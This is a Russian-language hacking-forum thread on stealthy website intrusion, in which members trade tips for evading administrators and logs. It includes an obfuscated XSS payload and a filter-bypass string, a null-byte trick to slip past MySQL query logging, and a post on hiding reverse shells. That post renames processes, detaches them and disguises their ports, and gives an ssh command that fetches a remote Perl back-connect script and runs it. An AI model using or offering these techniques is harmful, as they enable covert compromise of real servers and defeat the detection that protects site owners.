Учимся незаметному вторжению

Discussion in 'Уязвимости' started by randman, 6 Jan 2013.

  1. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    609
    Reputations:
    1,101
    Ещё одна тема по сбору информации, в ней предлагаю обсудить информацию о незаметном вторжении, поиске уязвимостей и т.п.

    1. Пред проверкой GET-параметра на уязвимость, следует проверить возможность его использования в POST или COOKIES, и если такая возможность существует, GET параметр не убирать, а к примеру маскироваться под парсер. При эксплуатации уязвимости желательно проверить отсутствие админа на сайте встроенными средствами.

    2. XSS:
    3. SQLi:
    4. LFI/RFI/Читалки и т.п.:
    5. Перед повторном запросом на скрипт с уязвимостью с GET-использованием желательно засрать страницу лога от разных ай-пи'шников с разными запросами (При готовых эксплоитах, SQLi с выводом).

    6. Если ситуация позволяет, параметр полностью кодировать в urlencode.
     
    #1 randman, 6 Jan 2013
    Last edited: 6 Jan 2013
    unic0rn, cLauZ, xxddz and 4 others like this.
  2. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    609
    Reputations:
    1,101
    Плагины FireFox, которые будут интересны всем:
    Единственное, чего мне нехватает - выборочное отключение запросов с одного домена на другие сторонние(CSRF GET), для этого дополнения вроде пока нет.
     
  3. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    609
    Reputations:
    1,101
    Спущено.
     
  4. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    728
    Reputations:
    948
    Кто позволил себе удалить последний пост к этой теме?

    Еще раз говорю, эти методы бредовые.

    Ага, и спалим саму переменную в уязвимом скрипте(хоть и в гете не эксплуатировалась и никогда не использовалась!) =/

    ну а если активная

    усложняем себе работу, зачем (следующего пункта также касается!)

    ага, засрать страницу лога чтоб админ быстрее узнал, что ресурс скомпроментирован.
     
    #4 Strilo4ka, 4 Aug 2014
    Last edited: 4 Aug 2014
  5. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    728
    Reputations:
    948
    Как эти платины относятся к данной теме, причем они тут?
     
  6. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    Вообще, да - методы спорные.
    Не стал писать, пока тема висела в группах, но спущенная в паблик означает, что группа согласна с этим и делится информацией со всеми. Поэтому прокомментирую.

    1 Согласен с первой частью, вторую оспаривать не буду, но и применять тоже не буду.

    2 Наверное да.

    3 Ничем не лучше, ловится и по сигнатурам и зрительно одинаково подозрительны. Будут смотреть логи, обязательно проверят оба.

    4 См. пункт 3.

    5 Наверное да, не факт.

    6 Хороший совет, на 100% не спасет, даже на 50, но от ленивого админа очень даже может (конечно, если не анализируют взлом, а просто дежурный просмотр логов).
     
  7. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,308
    Reputations:
    1,557
    А вот и нет.
    'Всем привет :"->' - это здесь совсем не нужно. Закрытие тега и двойная кавычка для XSS не требуется. Пример (в конце пробел):
    PHP:
    <img src=1 id=YWxlcnQoJ3hzcycp onerror=eval(atob(id)) 
    "В 5-ом пункте ссылка битая :'-<" - такой текст пригодится (кавычка здесь так же не обязательна).
    Но на практике часто встречаются фильтры типа "<[a-zA-Z].+?>", поэтому даже если ":'-<" проходит, сразу пытаться провести атаку не стоит. Для проверки подобного фильтра можно использовать текст "пошли вы все на<censored>". Независимо от наличия XSS, этот текст подозрений не вызовет.
    Не менее часто разработчики допускают серьезную ошибку, не зацикливая "<[a-zA-Z].+?>", вследствие чего "<<script>script>alert(xss)</script>" после фильтра превращается в "<script>alert(xss)</script>" и код выполняется.
    Мой вариант:
    Текст 1: "пошли вы все на<censored>" - если прошло, больше проверок не нужно (XSS есть). если не прошло, используем текст 2.
    Текст 2: "В 5-ом пункте ссылка битая :-<" - если прошло, используем текст 3. если не прошло, больше проверок не нужно (XSS нет).
    Текст 3: "<<o>o>любой текст" - в любом случае на странице отобразится только "любой текст", независимо от наличия XSS, и никто ничего не заметит.
     
  8. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,308
    Reputations:
    1,557
    Немного оффтопа, может кому-то будет интересно.
    Объясню, почему закрытие тега при XSS не обязательно. К примеру, код:
    PHP:
    <div>текст<img src=1 id=YWxlcnQoJ3hzcycp onerror=eval(atob(id)) </div>
    после предварительной обработки браузером будет выглядеть так:
    PHP:
    <div>
      
    текст<img src="1" id="YWxlcnQoJ3hzcycp" onerror="eval(atob(id))" <="" div=""/>
    </
    div>
    "</div>" для браузера - это пустой атрибут "<", символ разделения атрибутов "/", пустой атрибут "div" и скобка ">", закрывающая тег "a". Так как тег "<div>" после таких преобразований остался открытым, браузер исправляет эту "ошибку программиста" и закрывает самостоятельно, добавляя "</div>"
     
    1 person likes this.
  9. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    609
    Reputations:
    1,101
    M_Script, спасибо за пример.

    Конечно не следует воспринимаемость буквально и ВСЕГДА делать именно так.

    3. Пункт может быть полезен тогда, когда ведутся логи SQL-запросов (например на уровне приложения).
    2. Смешно, кода выкладывают XSS-ки с <script>alert('xss');</script>. Если сайтом занимаются - уязвимость через пару дней исчезает обязательно.
     
    #9 randman, 4 Aug 2014
    Last edited: 4 Aug 2014
  10. Strilo4ka

    Strilo4ka

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    728
    Reputations:
    948
    Опять к 3. У Вас какие-то неверные подходы/методы(хз как сказать!). Хитрый запрос в лог файле прокатит если админ тупой. Сама проблема тут остаётся. Тут лучше копать в другую сторону. =/

    Пример:

    Атакующий может обойти логирование запросов к базе данных.
    Code:
    mysql_query('/*'.chr(0).'*/ SELECT * FROM table');
    MySQL <= 5.0.18 advisory
     
    #10 Strilo4ka, 4 Aug 2014
    Last edited: 4 Aug 2014
    1 person likes this.
  11. none222

    none222 Guest

    Reputations:
    0
    ^^^^^^^^^^^^^^^^^^^^^###^^^^^^^^^^
    ^^^^^^^^^^^^^^^^#####^^^^####^^^^^^
    ^^^^^^^^^^^^^^#^#^#^^^^#^^^^^#^^^^^
    ^^^^^^^^^^^^^#^#^^#^^#^^^^^#^^#^^^^
    ^^^^^^^^^^^^^#^#^#^#^#^^^##^^^#^^^^
    ^^^^^^#^^^^^#^^^#^#^#^####^^^#^^^^^
    ^^^^^^##^^^^#^^^#^#^^^^#^^^#^#^^^^^
    ^^^^^^###^^^^#^^^#^#^^^#^^#^^^#^^^^
    ^^^^^^#####^^^#^^#^^#^^##^^^^^#^^^^
    ^^^^^^^#####^^^############^^##^^^^
    ^^^^^^^^^^##^^^^##^^^^######^^^^^^^
    ^^^^^^^^^^^##^^###^####^^^^^^^^^^^^
    ^^^^^^^^^^^#####^^^^^^^^^^^^^^^^^^^
    ^^^^^^^^^^###^^^^####^^^^^^^^^^^^^^
    ^^^^^^^^^##^^^^^^^#####^^^^^^^^^^^^
    ^^^^^^^^##^^^^^^^^^^####^^^^^^^^^^^
    ^^^^^^^##^^^^^^^^^^^^###^^^^^^^^^^^
    ^^^^^^##^^^^^^^^^^^^^^^#^^^^^^^^^^^
     
    #11 none222, 5 Aug 2014
    Last edited by a moderator: 6 Nov 2020
  12. nikp

    nikp Banned

    Joined:
    19 Sep 2008
    Messages:
    328
    Likes Received:
    591
    Reputations:
    764
    Это правило, которое лучше не нарушать.

    Общий смысл таков:
    - скрыть атаку в логах, или замаскировать.
    - при невозможности скрыть, затруднить анализ проведенных действий, или представить атаку неумелой, бессмысленной.

    Один из немногих, кто еще занимается исследованиями сам.
    И публикует их.
     
    4 people like this.
  13. GAiN

    GAiN Elder - Старейшина

    Joined:
    2 Apr 2011
    Messages:
    2,528
    Likes Received:
    166
    Reputations:
    99
    спасибо, хорошая статья
    достаточно ли одного vpn для маскировки ip или лучше несколько цепочек: тор vpv, анонимайзеры ?
    стоит ли лог зафлудить запросами - которые итут от юзеров взломанного сайта ? или лучше рандомизировать в js рандомные что бы были ?
     
    #13 GAiN, 19 Aug 2014
    Last edited: 19 Aug 2014
  14. betking

    betking New Member

    Joined:
    2 Oct 2012
    Messages:
    12
    Likes Received:
    0
    Reputations:
    0
    А у вас видео мастер классы есть?
     
  15. winstrool

    winstrool ~~*MasterBlind*~~

    Joined:
    6 Mar 2007
    Messages:
    1,403
    Likes Received:
    882
    Reputations:
    859
    Ждите когда он в очередной раз, начнет набирать группу и успевайте занимать места в ней, там вам все будет!)
     
    _________________________
  16. bitsuid

    bitsuid New Member

    Joined:
    4 Dec 2011
    Messages:
    0
    Likes Received:
    2
    Reputations:
    5
    Добавлю от себя. При возможности выполнять команды, не работайте лишний раз в веб-шелле - делайте бекконнекты.
    1.Всегда переименовывайте рабочий процесс бек-коннекта. Простенькая утилиты с подменой первого аргумента в exec вам поможет. Процесс переименованный в процесс веб-сервера (или что вы ломаете) намного незаметнее обычного /bin/bash. Порождаемые подпроцессы обычно висят недолго.
    2. Старайтесь не использовать лишних аргументов при запуске бинарников.
    К примеру nmap умеет читать CMD из переменных окружения.
    NMAP_ARGS="127.0.0.1 80-443" nmap
    Совмещая с переименовыванием процесса, можно очень тихо работать из шелла.
    3. Отвязывайтесь от родительского процесса перед созданием бекконнекта.
    Например sh -c 'perl < bc.pl &'
    4. Делайте беконнекты на порты, которые больше всего светятся в нетстате.
    5. При использовании веб-шеллов, юзайте те, которые передают команды через хттп-заголовки. POST и GET запросы на шеллы очень хорошо видно в логах
    6. При логине по ssh, не открывайте терминальную сессию, а сразу выполняете команду по бекконнекту. Таким образом даже если вы не сможете стереть логи, следы остануться только в /var/log/secure (auth.log и т.п.). Но вас не будет в lastlog или last
    Пример: ssh user@host 'wget http://your-host/bc.pl -O - | perl &'
    7. В идеале используте все это поверх ssl. Бекконнект с ssl на перле пишется в 5 минут, принять это на сервере поможет stunnel.
     
    #16 bitsuid, 5 Feb 2015
    Last edited: 5 Feb 2015
    fakecoder and shell_c0de like this.
  17. cLauZ

    cLauZ Member

    Joined:
    22 Oct 2009
    Messages:
    328
    Likes Received:
    27
    Reputations:
    5
    Тему нужно было назвать: Что такое хорошо и что такое плохо.

    Прочитала +
     
  18. EoGeneo

    EoGeneo Member

    Joined:
    29 Aug 2009
    Messages:
    127
    Likes Received:
    9
    Reputations:
    1
    Эти методы для тупого админа, я бы тему назвал этика хорошего тона :)
     
Loading...
Similar Threads - Учимся незаметному вторжению
  1. randman
    Replies:
    3
    Views:
    11,690